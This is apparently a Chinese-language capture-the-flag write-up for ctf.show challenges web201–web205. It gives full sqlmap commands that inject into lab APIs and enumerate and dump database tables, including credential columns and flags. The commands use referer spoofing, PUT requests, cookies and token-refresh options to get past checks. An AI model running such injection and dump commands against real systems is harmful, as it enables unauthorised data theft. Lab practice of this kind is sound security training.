详细说明:https://blog.csdn.net/qq_41701460/article/details/146391515
web201:
查看数据库 获取不到数据库信息
https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1
题目有提到 使用–user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。
题目要求还需要使用–referer 绕过referer检查,referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址:
https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php
使用 sqlmap 指定一下:–batch 是帮助我们在执行过程中自动选择,-u 指定 URL
python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --batch
检测出来是 mysql 数据库。注入点 布尔注入 时间注入 联合注入
追加参数 --dbs 查一下数据库名:
python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --dbs --batch
存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,–tables 指定查这个库下的所有表名:
python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch
表名为 ctfshow_user
使用 -T 参数指定这个表,–columns 查该表下所有的列名:
python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch
看到相应的列名
使用 -C 指定列,–dump 转存数据,查具体字段信息:
python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch
web202:
上一题是 get 请求,这里使用 --data 指定参数进行 post 请求的注入:
--获取数据库
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php --batch --dbs
获取表
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch
获取列
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch
获取值内容
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username -dump --batch
web203:
使用–method(提交方法) 调整sqlmap的请求方式:
需要加上–headers=“Content-Type: text/plain”,否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,
python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php --dbs --batch --headers="Content-Type: text/plain"
python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch --headers="Content-Type: text/plain"
python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -columns --batch --headers="Content-Type: text/plain"
python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch --headers="Content-Type: text/plain"
web204:同上 只是多了个cookie 拼接在后面就可以
python3 sqlmap.py -u https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vmvdelhfvsfv8iem6aauhkcgco; ctfshow=f33ab871ce5fdbd9fcb76e2122a71933"
web205:
api调用需要鉴权发现在访问 index.php 前都会先访问 getToken.php
追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次
获取数据库
python3 sqlmap.py -u https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs --batch
说明:
请求地址:https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php
请求方法:--method="PUT"
post提交方式 值为1:--data id=1
来源:referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php
请求头: --headers="Content-Type: text/plain"
cookie值:--cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt"
测试目标地址前访问的安全链接:--safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php"
表示访问 api/getToken.php 一次:--safe-freq=1
默认自动选择和判断:--batch
获取表 新增了一个叫 ctfshow_flax 的表,查一下该表下的列名:
python3 sqlmap.py -u https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch
获取列
python3 sqlmap.py -u https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns --batch
获取内容:
python3 sqlmap.py -u https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch